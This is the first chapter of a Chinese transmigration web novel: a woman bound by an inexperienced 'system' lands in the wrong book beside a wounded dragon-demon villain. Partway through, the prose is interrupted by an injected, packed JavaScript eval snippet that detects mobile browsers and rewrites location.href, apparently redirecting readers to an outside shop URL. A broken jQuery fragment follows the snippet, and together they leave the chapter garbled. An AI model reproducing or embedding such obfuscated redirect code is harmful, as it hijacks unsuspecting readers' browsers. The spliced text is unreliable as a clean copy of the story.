1. 第一章穿错书
作品:《我和修真反派绑一起穿进古言书》 桑润砚被冻醒的。
明明在家睡得好好的,怎么睁眼后能看见星星呢?
她低头摸摸自己穿着的毛绒小熊睡衣,又环视周围,四面环山,地上遗留的事一片片烧焦的枯痕。前方不似平常路面在黑夜中的鸦灰,而是深不见底的黑。
冷意顺着桑润砚的领口灌入,一种对未知的茫然和恐惧顺着神经末梢直传大脑。
这是大半夜让人给拐了。
“亲爱的宿主,你好。由于你对《至尊剑君》的结局不满程度极高,恭喜你被选为书中世界的拯救者,宿主需要阻止反派因怨念过高而毁灭世界。”
听着脑中响起的机械电子音,桑润砚脑袋上缓缓带出一个问号:?
她想起卧室书架上朋友送的《至尊剑君》,又鬼使神差摸了摸自己的额头。
自己确实没冻发烧。
桑润砚试探性询问,“系统,你是不是第一天上班?”
“你怎么知道?!”系统语气带着惊讶,没想到自己找的人居然还能掐会算,这把稳了!
桑润砚干巴巴开口:“因为这本书我就只看了简介。”
……
糟糕,绑错人了。
完喽!
系统诡异的卡顿让桑润砚心里发紧。
周遭沉寂的夜,接通了她不安的神经,不经意地流进思想,搅动混合,融了进去。
“修真界的反派太可怕了,我要回家。”
她吐出一口气浊气,沉声要求。
“对不起宿主,大不了人家给你治愈能力,这样你也有个保障,你就帮帮人家好不好嘛。”系统的电子音里竟然出现了一丝哭腔恳求的意味。
其实它现在没有能量给桑润砚提供任何帮助,充其量就是画大饼。
但第一天上班的系统没想到自己捅了这么大的篓子,自己也没有补救的方法,只能让冤种桑润砚留下来。
桑润砚无语。
桑润砚无奈。
她执意要走,奈何系统死缠烂打,要死要活。
“我现在没有能量送你回去,你可以先试试看的。”
她倔强摇头,虽然目前现实生活也很苦,但比起生死,回去好好奋斗日子总会好起来的。
会好的……
太冷了,她努力搓了搓麻木冻僵的手指,身上的聚酯纤维因为摩擦产生了细小的电火花,扎得她一颤,像是劝诫,也像嗤笑。
“愿望,我可以实现你一个愿望!”系统咬牙奉上它能拿的出的最好条件。
取暖的动作有一瞬间的卡壳。
良久,桑润砚还是决定接受任务。
系统乐颠颠地给她补习。这事得趁热打铁,不然她反悔怎么办。
《至尊剑君》讲述的是男主顾明宇从一个被家族抛弃的少年一路打怪升级、抢夺机缘,获得一众佳人倾心,最终成为一代剑尊的故事。
在故事中,最惨的还得是大反派恶龙,萧衍。儿时全族被屠杀,自己那时被父母拼死送出族地,他只能去找父亲的好友长生门的鸿德仙尊寻求帮助。
等到入了长生门,萧衍却被长生门囚禁起来。
龙族的血肉是增进修为、滋养魂魄的大补之物。萧衍名义上是鸿德仙尊的内门弟子,实际上成为了一个随时随地都要献祭血肉的囚犯。
在几百年囚禁中,萧衍黑化了,他逃出去以后,成了令人闻风丧胆的魔尊。作为最终boss,给男主顾明宇送人头,让男主功德圆满,修为暴涨,飞升成仙。
没有所谓的大能提携庇护,也没有绝世珍宝、千年机遇。萧衍他这一路走的可真艰难。
不过一想到自己可能要在实力这么恐怖还喜怒无常的人身边蛰伏,桑润砚顿时觉得自己才是最可怜的那个。
伤心。
待桑润砚大体了解了萧衍的经历后,天光破晓,从远处慢悠悠地驶来了一辆放满了蓝紫色果子的牛车,最显眼的就是牛车上那人的一头金发。
“系统,现在修仙界这么开放吗?居然还有外国人?”
系统看着前面的那个黄毛,没觉得有什么不对,还好心地纠正桑润砚:“宿主你看错了,那是个头发染成黄色的大叔。”
修真界有易容术,换颜丹,有的功法还能让身体某些地方改变,这仅是头发变黄而已,很正常。
大叔小心翼翼地往里推了推牛车边缘的果子,灰蒙蒙的画面里,那抹淡蓝是最勾人的颜色。
不同寻常的果子。
桑润砚努力眯起眼睛辨认,她有一丝莫名的熟悉感。
“这些果子……我好像有点印象。”
系统像是发现了桑润砚的漏洞,电子音里带着莫名的兴奋,“你还说你没看过《至尊剑君》,你都认识这里的果子。”
“可我真的没看过。”桑润砚也觉得奇怪。
沉闷的雷声在远处炸开,打断了谈话。天上本来清澈的灰蓝被蒙上一层厚厚的尘,看来今天不会有太阳了。
四周荒无人烟,又快要下雨,她只好朝大叔挥手奔跑,希望他能载自己一程。
毕竟还有系统,自己的安全应该还能保证。
桑润砚没注意到,似乎那雷垂直在自己的上空,跟随着自己缓慢移动,闪电交加的黑云往下沉的厉害,好像在寻找什么。
卖瓜大叔抬起头,阴暗的环境让他的视野并不清晰,他看到一团巨大黑气下,一个长发凌乱的奇装女鬼张牙舞爪朝他跑过来。
大叔吓得嗷唠一嗓子,一鞭子甩在悠闲漫步的牛身上。
牛被打的生疼,哞的一声撒丫子开始逃命。
“能不能捎我一程……”
戚哀的声音从后面传来,像索命的幽魂,如影随形。
颠簸的牛车撒了一地的果子,大叔来不及捡,只是一味的抽鞭子。
牛来不及叫,只是一味的贴地飞行,四只蹄子倒腾出残影,像脱肛的野狗。
很快牛车跑远了,桑润砚怎么也追不上,弯腰撑着膝盖,气喘吁吁。
“呼…他们跑那么…快干什么?”
系统也跟着疑惑,自己明明把宿主穿到的是宗门附近,一个卖果子的大叔,不至于没见识过奇装异服。
乌云越来越近,凝成极致的黑,隐约闪现刺眼的亮白。
桑润砚接着闪电,看清了前面的比周围要黑的路面,那是一个很大的坑,远远的模糊着看不见底,不同平地能反射多余的光线,所以才看着比周围要黑。
轰隆!
雷冲着坑直直劈下,强劲的声波冲击让桑润砚的心跟着剧烈震颤起来。
过多的闪电让周围亮得睁不开眼,刺鼻的烟碳气息愈浓。
桑润砚慌忙回忆着防雷击的知识,立刻蹲下,双脚并拢,脚尖着地。
她低头紧闭双眼,尽量减少与地面的接触面积,颤抖着等待雷声过去。
心里的呐喊要把系统吼聋了。
“这到底什么情况!”
看桑润砚这幅样子,系统心里隐隐有点底气不足,它就只是绑错人而已,不能再出什么别的岔子吧?
不放心的系统偷偷摸摸查证一番,现实却给了它重重一击。
随着最后一声雷降下,它好不容易从因震惊错乱的程序代码中找到声音播放零件。
“宿主,额,我们好像穿错书了。”
“啊?!”桑润砚猛地抬头,腾升起不好的预感,“那我们现在在哪?”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17386011|200257||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“应该是你书架《至尊剑君》旁边的《春枝深长》。”
命苦啊!
那不是她以前写的唯一一本小说吗?为了纪念,桑润砚还专门把小说打印了出来。
怪不得看着大叔拿出来的东西怎么有股熟悉感,她书里的女主家乡不就盛产这种果子吗,感情是自己素未谋面的老家。
地面是黄土压实的,微亮的凌晨,月光给坑坑洼洼的土表刷了层防腐的釉。
桑润砚的闭了闭眼,她好像夹在土和釉里,被系统气得喘不上来。
“那萧衍在哪?”
“他身受重伤,应该在你前面的大坑里昏着。”系统的声音透着心虚,弱弱回答。
……
哦豁,看来系统不止捅了一个篓子。
如果系统是个人的话,估计早就被饿死了。
桑润砚对这种情况束手无策,半天才磕磕巴巴倒出几句话,“我收回刚刚的话,我想回家。”
“警告警告,能量不足即将休眠。”
系统心虚的声音变得含糊不清,语速飞快,生怕桑润砚听出什么进行反驳。
“宿主你现在只要看好反派,保证这个世界没有太大乱子就好,那个……我给的治愈能力跟萧衍有肢体接触才能用,所以你要勾引……”
“总之,我先去休眠,等能量充足我们就可以回去了。”
一阵寂静,系统跑了。
桑润砚愣了。
天杀的。
系统就这样挥一挥衣袖,没有带一丝云彩,却留下了一个巨大的烂摊子给桑润砚。
她想了好久才听明白系统叽里咕噜说的糟心话,气得心口疼。
桑润砚一个老实人,急了连说话都磕磕绊绊,哪来的本事去勾引几千岁的萧衍。
焦虑紧张挤压着她的胸腔,她只能极力的吸气,才能让少量的空气喇到肺里。
九死一生的境地面前,还是跑吧。
打定了主意,桑润砚埋头朝着破晓的朝阳逃命。
一大团枯草被烧成灰烬,随风散去,只剩下裸露焦黑的根苟延残喘半趴在地里。
快点,再快点!
桑润砚没心思管草,她得趁着萧衍还没醒抓紧时间。
视野剧烈震颤,那是血液在血管喷涌,心脏在疯狂向肢体输送能量,桑润砚喘着粗气,后背一片濡湿。
跑的够远了。
她低头扫过一大团被烧成灰的枯草,根还在外面……
等等。
桑润砚猛地抬头,她发现四周的景象跟自己来时一模一样,斜后方的大坑依旧不近不远的跟她无声对峙着。
萧衍醒了?!
不会的,他要是醒了肯定不会是现在的情况。
桑润砚的呼吸停了一瞬,四周还是静悄悄的,途经雁的挥翅也能让她胆战心惊。
感觉右手掌心微微有点刺痛,她抬手仔细观察,手面白净,蜷手轻触手心,只感受到关节活动的僵硬和冰冷的触感。
冷透的汗咬在皮肤上汲取热意,桑润砚只能把手放在还算暖和的胸口。
冻到麻木了。
廉价的棕色睡衣裹绑着她静默苦涩的灵魂,跟渐白的天格格不入。
剧情限制自己不能跑?还是系统?
她只能抬头,视线里是无尽的白接壤土黄的大地,就像她历经的人生,荒凉贫瘠。
挣扎是不敢认命的血书,宿命却是血书着落的卷纸。
一个愿望呢……
要不试试?
反正自己在现实世界也穷,父母早亡,也没什么牵挂,搏一搏也没什么不好的。
桑润砚像小时候那样,挺起了胸膛。

